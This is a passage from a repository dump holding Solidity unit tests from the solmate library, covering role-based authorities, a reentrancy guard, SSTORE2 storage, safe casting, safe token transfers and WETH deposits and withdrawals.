multiRolesAuthority.setPublicCapability(functionSig, false);\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n    }\n\n    function testCanCallWithCustomAuthority(\n        address user,\n        address target,\n        bytes4 functionSig\n    ) public {\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(false));\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(true));\n        assertTrue(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(false));\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setTargetCustomAuthority(target, Authority(address(0)));\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(true));\n        assertTrue(multiRolesAuthority.canCall(user, target, functionSig));\n    }\n\n    function testCanCallWithCustomAuthorityOverridesPublicCapability(\n        address user,\n        address target,\n        bytes4 functionSig\n    ) public {\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setPublicCapability(functionSig, true);\n        assertTrue(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(false));\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(true));\n        assertTrue(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setPublicCapability(functionSig, false);\n        assertTrue(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setTargetCustomAuthority(target, Authority(address(0)));\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setPublicCapability(functionSig, true);\n        assertTrue(multiRolesAuthority.canCall(user, target, functionSig));\n    }\n\n    function testCanCallWithCustomAuthorityOverridesUserWithRole(\n        address user,\n        uint8 role,\n        address target,\n        bytes4 functionSig\n    ) public {\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setUserRole(user, role, true);\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setRoleCapability(role, functionSig, true);\n        assertTrue(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(false));\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(true));\n        assertTrue(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setUserRole(user, role, false);\n        assertTrue(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setTargetCustomAuthority(target, Authority(address(0)));\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setUserRole(user, role, true);\n        assertTrue(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setRoleCapability(role, functionSig, false);\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setUserRole(user, role, false);\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/ReentrancyGuard.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\n\nimport {ReentrancyGuard} from \"../utils/ReentrancyGuard.sol\";\n\ncontract RiskyContract is ReentrancyGuard {\n    uint256 public enterTimes;\n\n    function unprotectedCall() public {\n        enterTimes++;\n\n        if (enterTimes > 1) return;\n\n        protectedCall();\n    }\n\n    function protectedCall() public nonReentrant {\n        enterTimes++;\n\n        if (enterTimes > 1) return;\n\n        protectedCall();\n    }\n\n    function overprotectedCall() public nonReentrant {}\n}\n\ncontract ReentrancyGuardTest is DSTestPlus {\n    RiskyContract riskyContract;\n\n    function setUp() public {\n        riskyContract = new RiskyContract();\n    }\n\n    function invariantReentrancyStatusAlways1() public {\n        assertEq(uint256(hevm.load(address(riskyContract), 0)), 1);\n    }\n\n    function testFailUnprotectedCall() public {\n        riskyContract.unprotectedCall();\n\n        assertEq(riskyContract.enterTimes(), 1);\n    }\n\n    function testProtectedCall() public {\n        try riskyContract.protectedCall() {\n            fail(\"Reentrancy Guard Failed To Stop Attacker\");\n        } catch {}\n    }\n\n    function testNoReentrancy() public {\n        riskyContract.overprotectedCall();\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/RolesAuthority.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\nimport {MockAuthority} from \"./utils/mocks/MockAuthority.sol\";\n\nimport {Authority} from \"../auth/Auth.sol\";\n\nimport {RolesAuthority} from \"../auth/authorities/RolesAuthority.sol\";\n\ncontract RolesAuthorityTest is DSTestPlus {\n    RolesAuthority rolesAuthority;\n\n    function setUp() public {\n        rolesAuthority = new RolesAuthority(address(this), Authority(address(0)));\n    }\n\n    function testSetRoles() public {\n        assertFalse(rolesAuthority.doesUserHaveRole(address(0xBEEF), 0));\n\n        rolesAuthority.setUserRole(address(0xBEEF), 0, true);\n        assertTrue(rolesAuthority.doesUserHaveRole(address(0xBEEF), 0));\n\n        rolesAuthority.setUserRole(address(0xBEEF), 0, false);\n        assertFalse(rolesAuthority.doesUserHaveRole(address(0xBEEF), 0));\n    }\n\n    function testSetRoleCapabilities() public {\n        assertFalse(rolesAuthority.doesRoleHaveCapability(0, address(0xCAFE), 0xBEEFCAFE));\n\n        rolesAuthority.setRoleCapability(0, address(0xCAFE), 0xBEEFCAFE, true);\n        assertTrue(rolesAuthority.doesRoleHaveCapability(0, address(0xCAFE), 0xBEEFCAFE));\n\n        rolesAuthority.setRoleCapability(0, address(0xCAFE), 0xBEEFCAFE, false);\n        assertFalse(rolesAuthority.doesRoleHaveCapability(0, address(0xCAFE), 0xBEEFCAFE));\n    }\n\n    function testSetPublicCapabilities() public {\n        assertFalse(rolesAuthority.isCapabilityPublic(address(0xCAFE), 0xBEEFCAFE));\n\n        rolesAuthority.setPublicCapability(address(0xCAFE), 0xBEEFCAFE, true);\n        assertTrue(rolesAuthority.isCapabilityPublic(address(0xCAFE), 0xBEEFCAFE));\n\n        rolesAuthority.setPublicCapability(address(0xCAFE), 0xBEEFCAFE, false);\n        assertFalse(rolesAuthority.isCapabilityPublic(address(0xCAFE), 0xBEEFCAFE));\n    }\n\n    function testCanCallWithAuthorizedRole() public {\n        assertFalse(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        rolesAuthority.setUserRole(address(0xBEEF), 0, true);\n        assertFalse(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        rolesAuthority.setRoleCapability(0, address(0xCAFE), 0xBEEFCAFE, true);\n        assertTrue(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        rolesAuthority.setRoleCapability(0, address(0xCAFE), 0xBEEFCAFE, false);\n        assertFalse(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        rolesAuthority.setRoleCapability(0, address(0xCAFE), 0xBEEFCAFE, true);\n        assertTrue(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        rolesAuthority.setUserRole(address(0xBEEF), 0, false);\n        assertFalse(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n    }\n\n    function testCanCallPublicCapability() public {\n        assertFalse(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        rolesAuthority.setPublicCapability(address(0xCAFE), 0xBEEFCAFE, true);\n        assertTrue(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        rolesAuthority.setPublicCapability(address(0xCAFE), 0xBEEFCAFE, false);\n        assertFalse(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n    }\n\n    function testSetRoles(address user, uint8 role) public {\n        assertFalse(rolesAuthority.doesUserHaveRole(user, role));\n\n        rolesAuthority.setUserRole(user, role, true);\n        assertTrue(rolesAuthority.doesUserHaveRole(user, role));\n\n        rolesAuthority.setUserRole(user, role, false);\n        assertFalse(rolesAuthority.doesUserHaveRole(user, role));\n    }\n\n    function testSetRoleCapabilities(\n        uint8 role,\n        address target,\n        bytes4 functionSig\n    ) public {\n        assertFalse(rolesAuthority.doesRoleHaveCapability(role, target, functionSig));\n\n        rolesAuthority.setRoleCapability(role, target, functionSig, true);\n        assertTrue(rolesAuthority.doesRoleHaveCapability(role, target, functionSig));\n\n        rolesAuthority.setRoleCapability(role, target, functionSig, false);\n        assertFalse(rolesAuthority.doesRoleHaveCapability(role, target, functionSig));\n    }\n\n    function testSetPublicCapabilities(address target, bytes4 functionSig) public {\n        assertFalse(rolesAuthority.isCapabilityPublic(target, functionSig));\n\n        rolesAuthority.setPublicCapability(target, functionSig, true);\n        assertTrue(rolesAuthority.isCapabilityPublic(target, functionSig));\n\n        rolesAuthority.setPublicCapability(target, functionSig, false);\n        assertFalse(rolesAuthority.isCapabilityPublic(target, functionSig));\n    }\n\n    function testCanCallWithAuthorizedRole(\n        address user,\n        uint8 role,\n        address target,\n        bytes4 functionSig\n    ) public {\n        assertFalse(rolesAuthority.canCall(user, target, functionSig));\n\n        rolesAuthority.setUserRole(user, role, true);\n        assertFalse(rolesAuthority.canCall(user, target, functionSig));\n\n        rolesAuthority.setRoleCapability(role, target, functionSig, true);\n        assertTrue(rolesAuthority.canCall(user, target, functionSig));\n\n        rolesAuthority.setRoleCapability(role, target, functionSig, false);\n        assertFalse(rolesAuthority.canCall(user, target, functionSig));\n\n        rolesAuthority.setRoleCapability(role, target, functionSig, true);\n        assertTrue(rolesAuthority.canCall(user, target, functionSig));\n\n        rolesAuthority.setUserRole(user, role, false);\n        assertFalse(rolesAuthority.canCall(user, target, functionSig));\n    }\n\n    function testCanCallPublicCapability(\n        address user,\n        address target,\n        bytes4 functionSig\n    ) public {\n        assertFalse(rolesAuthority.canCall(user, target, functionSig));\n\n        rolesAuthority.setPublicCapability(target, functionSig, true);\n        assertTrue(rolesAuthority.canCall(user, target, functionSig));\n\n        rolesAuthority.setPublicCapability(target, functionSig, false);\n        assertFalse(rolesAuthority.canCall(user, target, functionSig));\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/SSTORE2.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\n\nimport {SSTORE2} from \"../utils/SSTORE2.sol\";\n\ncontract SSTORE2Test is DSTestPlus {\n    function testWriteRead() public {\n        bytes memory testBytes = abi.encode(\"this is a test\");\n\n        address pointer = SSTORE2.write(testBytes);\n\n        assertBytesEq(SSTORE2.read(pointer), testBytes);\n    }\n\n    function testWriteReadFullStartBound() public {\n        assertBytesEq(SSTORE2.read(SSTORE2.write(hex\"11223344\"), 0), hex\"11223344\");\n    }\n\n    function testWriteReadCustomStartBound() public {\n        assertBytesEq(SSTORE2.read(SSTORE2.write(hex\"11223344\"), 1), hex\"223344\");\n    }\n\n    function testWriteReadFullBoundedRead() public {\n        bytes memory testBytes = abi.encode(\"this is a test\");\n\n        assertBytesEq(SSTORE2.read(SSTORE2.write(testBytes), 0, testBytes.length), testBytes);\n    }\n\n    function testWriteReadCustomBounds() public {\n        assertBytesEq(SSTORE2.read(SSTORE2.write(hex\"11223344\"), 1, 3), hex\"2233\");\n    }\n\n    function testWriteReadEmptyBound() public {\n        SSTORE2.read(SSTORE2.write(hex\"11223344\"), 3, 3);\n    }\n\n    function testFailReadInvalidPointer() public view {\n        SSTORE2.read(DEAD_ADDRESS);\n    }\n\n    function testFailReadInvalidPointerCustomStartBound() public view {\n        SSTORE2.read(DEAD_ADDRESS, 1);\n    }\n\n    function testFailReadInvalidPointerCustomBounds() public view {\n        SSTORE2.read(DEAD_ADDRESS, 2, 4);\n    }\n\n    function testFailWriteReadOutOfStartBound() public {\n        SSTORE2.read(SSTORE2.write(hex\"11223344\"), 41000);\n    }\n\n    function testFailWriteReadEmptyOutOfBounds() public {\n        SSTORE2.read(SSTORE2.write(hex\"11223344\"), 42000, 42000);\n    }\n\n    function testFailWriteReadOutOfBounds() public {\n        SSTORE2.read(SSTORE2.write(hex\"11223344\"), 41000, 42000);\n    }\n\n    function testWriteRead(bytes calldata testBytes) public {\n        assertBytesEq(SSTORE2.read(SSTORE2.write(testBytes)), testBytes);\n    }\n\n    function testWriteReadCustomStartBound(bytes calldata testBytes, uint256 startIndex) public {\n        if (testBytes.length == 0) return;\n\n        startIndex = bound(startIndex, 0, testBytes.length);\n\n        assertBytesEq(SSTORE2.read(SSTORE2.write(testBytes), startIndex), bytes(testBytes[startIndex:]));\n    }\n\n    function testWriteReadCustomBounds(\n        bytes calldata testBytes,\n        uint256 startIndex,\n        uint256 endIndex\n    ) public {\n        if (testBytes.length == 0) return;\n\n        endIndex = bound(endIndex, 0, testBytes.length);\n        startIndex = bound(startIndex, 0, testBytes.length);\n\n        if (startIndex > endIndex) return;\n\n        assertBytesEq(\n            SSTORE2.read(SSTORE2.write(testBytes), startIndex, endIndex),\n            bytes(testBytes[startIndex:endIndex])\n        );\n    }\n\n    function testFailReadInvalidPointer(address pointer) public view {\n        SSTORE2.read(pointer);\n    }\n\n    function testFailReadInvalidPointerCustomStartBound(address pointer, uint256 startIndex) public view {\n        SSTORE2.read(pointer, startIndex);\n    }\n\n    function testFailReadInvalidPointerCustomBounds(\n        address pointer,\n        uint256 startIndex,\n        uint256 endIndex\n    ) public view {\n        SSTORE2.read(pointer, startIndex, endIndex);\n    }\n\n    function testFailWriteReadCustomStartBoundOutOfRange(bytes calldata testBytes, uint256 startIndex) public {\n        startIndex = bound(startIndex, testBytes.length + 1, type(uint256).max);\n\n        SSTORE2.read(SSTORE2.write(testBytes), startIndex);\n    }\n\n    function testFailWriteReadCustomBoundsOutOfRange(\n        bytes calldata testBytes,\n        uint256 startIndex,\n        uint256 endIndex\n    ) public {\n        endIndex = bound(endIndex, startIndex + 1, type(uint256).max);\n\n        SSTORE2.read(SSTORE2.write(testBytes), startIndex, endIndex);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/SafeCastLib.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\n\nimport {SafeCastLib} from \"../utils/SafeCastLib.sol\";\n\ncontract SafeCastLibTest is DSTestPlus {\n    function testSafeCastTo248() public {\n        assertEq(SafeCastLib.safeCastTo248(2.5e45), 2.5e45);\n        assertEq(SafeCastLib.safeCastTo248(2.5e27), 2.5e27);\n    }\n\n    function testSafeCastTo128() public {\n        assertEq(SafeCastLib.safeCastTo128(2.5e27), 2.5e27);\n        assertEq(SafeCastLib.safeCastTo128(2.5e18), 2.5e18);\n    }\n\n    function testSafeCastTo96() public {\n        assertEq(SafeCastLib.safeCastTo96(2.5e18), 2.5e18);\n        assertEq(SafeCastLib.safeCastTo96(2.5e17), 2.5e17);\n    }\n\n    function testSafeCastTo64() public {\n        assertEq(SafeCastLib.safeCastTo64(2.5e18), 2.5e18);\n        assertEq(SafeCastLib.safeCastTo64(2.5e17), 2.5e17);\n    }\n\n    function testSafeCastTo32() public {\n        assertEq(SafeCastLib.safeCastTo32(2.5e8), 2.5e8);\n        assertEq(SafeCastLib.safeCastTo32(2.5e7), 2.5e7);\n    }\n\n    function testFailSafeCastTo248() public pure {\n        SafeCastLib.safeCastTo248(type(uint248).max + 1);\n    }\n\n    function testFailSafeCastTo128() public pure {\n        SafeCastLib.safeCastTo128(type(uint128).max + 1);\n    }\n\n    function testFailSafeCastTo96() public pure {\n        SafeCastLib.safeCastTo96(type(uint96).max + 1);\n    }\n\n    function testFailSafeCastTo64() public pure {\n        SafeCastLib.safeCastTo64(type(uint64).max + 1);\n    }\n\n    function testFailSafeCastTo32() public pure {\n        SafeCastLib.safeCastTo32(type(uint32).max + 1);\n    }\n\n    function testSafeCastTo248(uint256 x) public {\n        x = bound(x, 0, type(uint248).max);\n\n        assertEq(SafeCastLib.safeCastTo248(x), x);\n    }\n\n    function testSafeCastTo128(uint256 x) public {\n        x = bound(x, 0, type(uint128).max);\n\n        assertEq(SafeCastLib.safeCastTo128(x), x);\n    }\n\n    function testSafeCastTo96(uint256 x) public {\n        x = bound(x, 0, type(uint96).max);\n\n        assertEq(SafeCastLib.safeCastTo96(x), x);\n    }\n\n    function testSafeCastTo64(uint256 x) public {\n        x = bound(x, 0, type(uint64).max);\n\n        assertEq(SafeCastLib.safeCastTo64(x), x);\n    }\n\n    function testSafeCastTo32(uint256 x) public {\n        x = bound(x, 0, type(uint32).max);\n\n        assertEq(SafeCastLib.safeCastTo32(x), x);\n    }\n\n    function testFailSafeCastTo248(uint256 x) public pure {\n        x = bound(x, type(uint248).max + 1, type(uint256).max);\n\n        SafeCastLib.safeCastTo248(x);\n    }\n\n    function testFailSafeCastTo128(uint256 x) public pure {\n        x = bound(x, type(uint128).max + 1, type(uint256).max);\n\n        SafeCastLib.safeCastTo128(x);\n    }\n\n    function testFailSafeCastTo96(uint256 x) public pure {\n        x = bound(x, type(uint96).max + 1, type(uint256).max);\n\n        SafeCastLib.safeCastTo96(x);\n    }\n\n    function testFailSafeCastTo64(uint256 x) public pure {\n        x = bound(x, type(uint64).max + 1, type(uint256).max);\n\n        SafeCastLib.safeCastTo64(x);\n    }\n\n    function testFailSafeCastTo32(uint256 x) public pure {\n        x = bound(x, type(uint32).max + 1, type(uint256).max);\n\n        SafeCastLib.safeCastTo32(x);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/SafeTransferLib.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {ERC20} from \"weird-erc20/ERC20.sol\";\nimport {ReturnsFalseToken} from \"weird-erc20/ReturnsFalse.sol\";\nimport {MissingReturnToken} from \"weird-erc20/MissingReturns.sol\";\nimport {TransferFromSelfToken} from \"weird-erc20/TransferFromSelf.sol\";\nimport {PausableToken} from \"weird-erc20/Pausable.sol\";\n\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\n\nimport {SafeTransferLib, ERC20 as SolmateERC20} from \"../utils/SafeTransferLib.sol\";\n\ncontract SafeTransferLibTest is DSTestPlus {\n    ReturnsFalseToken returnsFalse;\n    MissingReturnToken missingReturn;\n    TransferFromSelfToken transferFromSelf;\n    PausableToken pausable;\n\n    ERC20 erc20;\n\n    function setUp() public {\n        returnsFalse = new ReturnsFalseToken(type(uint256).max);\n        missingReturn = new MissingReturnToken(type(uint256).max);\n        transferFromSelf = new TransferFromSelfToken(type(uint256).max);\n\n        pausable = new PausableToken(type(uint256).max);\n        pausable.stop();\n\n        erc20 = new ERC20(type(uint256).max);\n    }\n\n    function testTransferWithMissingReturn() public {\n        verifySafeTransfer(address(missingReturn), address(0xBEEF), 1e18);\n    }\n\n    function testTransferWithTransferFromSelf() public {\n        verifySafeTransfer(address(transferFromSelf), address(0xBEEF), 1e18);\n    }\n\n    function testTransferWithStandardERC20() public {\n        verifySafeTransfer(address(erc20), address(0xBEEF), 1e18);\n    }\n\n    function testTransferWithNonContract() public {\n        SafeTransferLib.safeTransfer(SolmateERC20(address(0xBADBEEF)), address(0xBEEF), 1e18);\n    }\n\n    function testTransferFromWithMissingReturn() public {\n        verifySafeTransferFrom(address(missingReturn), address(0xFEED), address(0xBEEF), 1e18);\n    }\n\n    function testTransferFromWithTransferFromSelf() public {\n        verifySafeTransferFrom(address(transferFromSelf), address(0xFEED), address(0xBEEF), 1e18);\n    }\n\n    function testTransferFromWithStandardERC20() public {\n        verifySafeTransferFrom(address(erc20), address(0xFEED), address(0xBEEF), 1e18);\n    }\n\n    function testTransferFromWithNonContract() public {\n        SafeTransferLib.safeTransferFrom(SolmateERC20(address(0xBADBEEF)), address(0xFEED), address(0xBEEF), 1e18);\n    }\n\n    function testApproveWithMissingReturn() public {\n        verifySafeApprove(address(missingReturn), address(0xBEEF), 1e18);\n    }\n\n    function testApproveWithTransferFromSelf() public {\n        verifySafeApprove(address(transferFromSelf), address(0xBEEF), 1e18);\n    }\n\n    function testApproveWithStandardERC20() public {\n        verifySafeApprove(address(transferFromSelf), address(0xBEEF), 1e18);\n    }\n\n    function testApproveWithNonContract() public {\n        SafeTransferLib.safeApprove(SolmateERC20(address(0xBADBEEF)), address(0xBEEF), 1e18);\n    }\n\n    function testTransferETH() public {\n        SafeTransferLib.safeTransferETH(address(0xBEEF), 1e18);\n    }\n\n    function testFailTransferWithReturnsFalse() public {\n        verifySafeTransfer(address(returnsFalse), address(0xBEEF), 1e18);\n    }\n\n    function testFailTransferWithPausable() public {\n        verifySafeTransfer(address(pausable), address(0xBEEF), 1e18);\n    }\n\n    function testFailTransferFromWithReturnsFalse() public {\n        verifySafeTransferFrom(address(returnsFalse), address(0xFEED), address(0xBEEF), 1e18);\n    }\n\n    function testFailTransferFromWithPausable() public {\n        verifySafeTransferFrom(address(pausable), address(0xFEED), address(0xBEEF), 1e18);\n    }\n\n    function testFailApproveWithReturnsFalse() public {\n        verifySafeApprove(address(returnsFalse), address(0xBEEF), 1e18);\n    }\n\n    function testFailApproveWithPausable() public {\n        verifySafeApprove(address(pausable), address(0xBEEF), 1e18);\n    }\n\n    function testTransferWithMissingReturn(address to, uint256 amount) public {\n        verifySafeTransfer(address(missingReturn), to, amount);\n    }\n\n    function testTransferWithTransferFromSelf(address to, uint256 amount) public {\n        verifySafeTransfer(address(transferFromSelf), to, amount);\n    }\n\n    function testTransferWithStandardERC20(address to, uint256 amount) public {\n        verifySafeTransfer(address(erc20), to, amount);\n    }\n\n    function testFailTransferETHToContractWithoutFallback() public {\n        SafeTransferLib.safeTransferETH(address(this), 1e18);\n    }\n\n    function testTransferWithNonContract(\n        address nonContract,\n        address to,\n        uint256 amount\n    ) public {\n        if (uint256(uint160(nonContract)) <= 18 || nonContract.code.length > 0) return;\n\n        SafeTransferLib.safeTransfer(SolmateERC20(nonContract), to, amount);\n    }\n\n    function testTransferFromWithMissingReturn(\n        address from,\n        address to,\n        uint256 amount\n    ) public {\n        verifySafeTransferFrom(address(missingReturn), from, to, amount);\n    }\n\n    function testTransferFromWithTransferFromSelf(\n        address from,\n        address to,\n        uint256 amount\n    ) public {\n        verifySafeTransferFrom(address(transferFromSelf), from, to, amount);\n    }\n\n    function testTransferFromWithStandardERC20(\n        address from,\n        address to,\n        uint256 amount\n    ) public {\n        verifySafeTransferFrom(address(erc20), from, to, amount);\n    }\n\n    function testTransferFromWithNonContract(\n        address nonContract,\n        address from,\n        address to,\n        uint256 amount\n    ) public {\n        if (uint256(uint160(nonContract)) <= 18 || nonContract.code.length > 0) return;\n\n        SafeTransferLib.safeTransferFrom(SolmateERC20(nonContract), from, to, amount);\n    }\n\n    function testApproveWithMissingReturn(address to, uint256 amount) public {\n        verifySafeApprove(address(missingReturn), to, amount);\n    }\n\n    function testApproveWithTransferFromSelf(address to, uint256 amount) public {\n        verifySafeApprove(address(transferFromSelf), to, amount);\n    }\n\n    function testApproveWithStandardERC20(address to, uint256 amount) public {\n        verifySafeApprove(address(transferFromSelf), to, amount);\n    }\n\n    function testApproveWithNonContract(\n        address nonContract,\n        address to,\n        uint256 amount\n    ) public {\n        if (uint256(uint160(nonContract)) <= 18 || nonContract.code.length > 0) return;\n\n        SafeTransferLib.safeApprove(SolmateERC20(nonContract), to, amount);\n    }\n\n    function testTransferETH(address recipient, uint256 amount) public {\n        if (uint256(uint160(recipient)) <= 18) return;\n\n        amount = bound(amount, 0, address(this).balance);\n\n        SafeTransferLib.safeTransferETH(recipient, amount);\n    }\n\n    function testFailTransferWithReturnsFalse(address to, uint256 amount) public {\n        verifySafeTransfer(address(returnsFalse), to, amount);\n    }\n\n    function testFailTransferWithPausable(address to, uint256 amount) public {\n        verifySafeTransfer(address(pausable), to, amount);\n    }\n\n    function testFailTransferFromWithReturnsFalse(\n        address from,\n        address to,\n        uint256 amount\n    ) public {\n        verifySafeTransferFrom(address(returnsFalse), from, to, amount);\n    }\n\n    function testFailTransferFromWithPausable(\n        address from,\n        address to,\n        uint256 amount\n    ) public {\n        verifySafeTransferFrom(address(pausable), from, to, amount);\n    }\n\n    function testFailApproveWithReturnsFalse(address to, uint256 amount) public {\n        verifySafeApprove(address(returnsFalse), to, amount);\n    }\n\n    function testFailApproveWithPausable(address to, uint256 amount) public {\n        verifySafeApprove(address(pausable), to, amount);\n    }\n\n    function testFailTransferETHToContractWithoutFallback(uint256 amount) public {\n        SafeTransferLib.safeTransferETH(address(this), amount);\n    }\n\n    function verifySafeTransfer(\n        address token,\n        address to,\n        uint256 amount\n    ) internal {\n        uint256 preBal = ERC20(token).balanceOf(to);\n        SafeTransferLib.safeTransfer(SolmateERC20(address(token)), to, amount);\n        uint256 postBal = ERC20(token).balanceOf(to);\n\n        if (to == address(this)) {\n            assertEq(preBal, postBal);\n        } else {\n            assertEq(postBal - preBal, amount);\n        }\n    }\n\n    function verifySafeTransferFrom(\n        address token,\n        address from,\n        address to,\n        uint256 amount\n    ) internal {\n        forceApprove(token, from, address(this), amount);\n        SafeTransferLib.safeTransfer(SolmateERC20(token), from, amount);\n\n        uint256 preBal = ERC20(token).balanceOf(to);\n        SafeTransferLib.safeTransferFrom(SolmateERC20(token), from, to, amount);\n        uint256 postBal = ERC20(token).balanceOf(to);\n\n        if (from == to) {\n            assertEq(preBal, postBal);\n        } else {\n            assertEq(postBal - preBal, amount);\n        }\n    }\n\n    function verifySafeApprove(\n        address token,\n        address to,\n        uint256 amount\n    ) internal {\n        SafeTransferLib.safeApprove(SolmateERC20(address(token)), to, amount);\n\n        assertEq(ERC20(token).allowance(address(this), to), amount);\n    }\n\n    function forceApprove(\n        address token,\n        address from,\n        address to,\n        uint256 amount\n    ) internal {\n        uint256 slot = token == address(erc20) || token == address(pausable) ? 3 : 2;\n\n        hevm.store(\n            token,\n            keccak256(abi.encode(to, keccak256(abi.encode(from, uint256(slot))))),\n            bytes32(uint256(amount))\n        );\n\n        assertEq(ERC20(token).allowance(from, to), amount, \"wrong allowance\");\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/WETH.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\nimport {DSInvariantTest} from \"./utils/DSInvariantTest.sol\";\n\nimport {SafeTransferLib} from \"../utils/SafeTransferLib.sol\";\n\nimport {WETH} from \"../tokens/WETH.sol\";\n\ncontract WETHTest is DSTestPlus {\n    WETH weth;\n\n    function setUp() public {\n        weth = new WETH();\n    }\n\n    function testDeposit() public {\n        assertEq(weth.balanceOf(address(this)), 0);\n        assertEq(weth.totalSupply(), 0);\n\n        SafeTransferLib.safeTransferETH(address(weth), 1 ether);\n\n        assertEq(weth.balanceOf(address(this)), 1 ether);\n        assertEq(weth.totalSupply(), 1 ether);\n    }\n\n    function testFallbackDeposit() public {\n        assertEq(weth.balanceOf(address(this)), 0);\n        assertEq(weth.totalSupply(), 0);\n\n        weth.deposit{value: 1 ether}();\n\n        assertEq(weth.balanceOf(address(this)), 1 ether);\n        assertEq(weth.totalSupply(), 1 ether);\n    }\n\n    function testWithdraw() public {\n        uint256 startingBalance = address(this).balance;\n\n        weth.deposit{value: 1 ether}();\n\n        weth.withdraw(1 ether);\n\n        uint256 balanceAfterWithdraw = address(this).balance;\n\n        assertEq(balanceAfterWithdraw, startingBalance);\n        assertEq(weth.balanceOf(address(this)), 0);\n        assertEq(weth.totalSupply(), 0);\n    }\n\n    function testPartialWithdraw() public {\n        weth.deposit{value: 1 ether}();\n\n        uint256 balanceBeforeWithdraw = address(this).balance;\n\n        weth.withdraw(0.5 ether);\n\n        uint256 balanceAfterWithdraw = address(this).balance;\n\n        assertEq(balanceAfterWithdraw, balanceBeforeWithdraw + 0.5 ether);\n        assertEq(weth.balanceOf(address(this)), 0.5 ether);\n        assertEq(weth.totalSupply(), 0.5 ether);\n    }\n\n    function testDeposit(uint256 amount) public {\n        amount = bound(amount, 0, address(this).balance);\n\n        assertEq(weth.balanceOf(address(this)), 0);\n        assertEq(weth.totalSupply(), 0);\n\n        SafeTransferLib.safeTransferETH(address(weth), amount);\n\n        assertEq(weth.balanceOf(address(this)), amount);\n        assertEq(weth.totalSupply(), amount);\n    }\n\n    function testFallbackDeposit(uint256 amount) public {\n        amount = bound(amount, 0, address(this).balance);\n\n        assertEq(weth.balanceOf(address(this)), 0);\n        assertEq(weth.totalSupply(), 0);\n\n        weth.deposit{value: amount}();\n\n        assertEq(weth.balanceOf(address(this)), amount);\n        assertEq(weth.totalSupply(), amount);\n    }\n\n    function testWithdraw(uint256 depositAmount, uint256 withdrawAmount) public {\n        depositAmount = bound(depositAmount, 0, address(this).balance);\n        withdrawAmount = bound(withdrawAmount, 0, depositAmount);\n\n        weth.deposit{value: depositAmount}();\n\n        uint256 